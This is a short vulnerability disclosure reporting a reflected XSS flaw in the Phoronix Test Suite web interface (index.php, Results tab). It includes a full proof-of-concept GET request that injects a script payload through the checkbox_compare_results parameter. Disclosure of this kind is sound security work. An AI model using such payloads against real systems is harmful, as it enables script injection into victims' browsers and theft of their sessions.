Description

Hi, i found a Reflected XSS vulnerability (GET request in /index.php ) in phoronix test suite, Results tab. Line 45 of index.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.

Proof of Concept

GET /index.php?checkbox_compare_results[]=%22;alert(1);%22 HTTP/1.1
Host: localhost:8670
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=do8d0t932flbqqlmc9tj6hcjdk
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

Impact

This vulnerability is capable of Reflected XSS